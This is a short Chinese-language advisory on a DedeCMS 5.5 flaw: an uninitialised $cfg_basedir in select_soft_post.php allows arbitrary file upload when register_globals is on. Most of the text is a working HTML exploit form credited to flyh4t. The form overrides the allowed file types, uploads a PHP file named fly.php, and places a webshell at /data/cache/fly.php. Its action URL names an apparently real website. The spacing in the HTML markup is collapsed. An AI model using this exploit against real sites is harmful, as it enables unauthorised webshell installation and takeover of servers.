织梦(Dedecms)select_soft_post.php页面变量未初始漏洞

漏洞版本:

Dedecms 5.5

漏洞描述:

漏洞产生文件位于include\dialog\select_soft_post.php，其变量$cfg_basedir没有正确初始化，导致可以饶过身份认证和系统变量初始化文件，导致可以上传任意文件到指定目录。其漏洞利用前提是register_globals=on,可以通过自定义表单为相关的变量赋值。

<* 参考

by：Flyh4t
http://sebug.net/appdir/织梦(DedeCms)

测试方法:

<html>

<head>

<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>

</head>

<bodystyle="FONT-SIZE:9pt">

---------- Dedecms v55 RCE Exploit Codz By flyh4t----------

<formaction=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.phpmethod='POST'enctype="multipart/form-data"name='myform'>

<inputtype='hidden'name='activepath'value='/data/cache/'/>

<inputtype='hidden'name='cfg_basedir'value='../../'/>

<inputtype='hidden'name='cfg_imgtype'value='php'/>

<inputtype='hidden'name='cfg_not_allowall'value='txt'/>

<inputtype='hidden'name='cfg_softtype'value='php'/>

<inputtype='hidden'name='cfg_mediatype'value='php'/>

<inputtype='hidden'name='f'value='form1.enclosure'/>

<inputtype='hidden'name='job'value='upload'/>

<inputtype='hidden'name='newname'value='fly.php'/>

Select U Shell <inputtype='file'name='uploadfile'size='25'/>

<inputtype='submit'name='sb1'value='确定'/>

</form>

It's just a exp for the bug of Dedecms V55...

Need register_globals = on...

Fun the game,get a webshell at /data/cache/fly.php...

</body>

</html>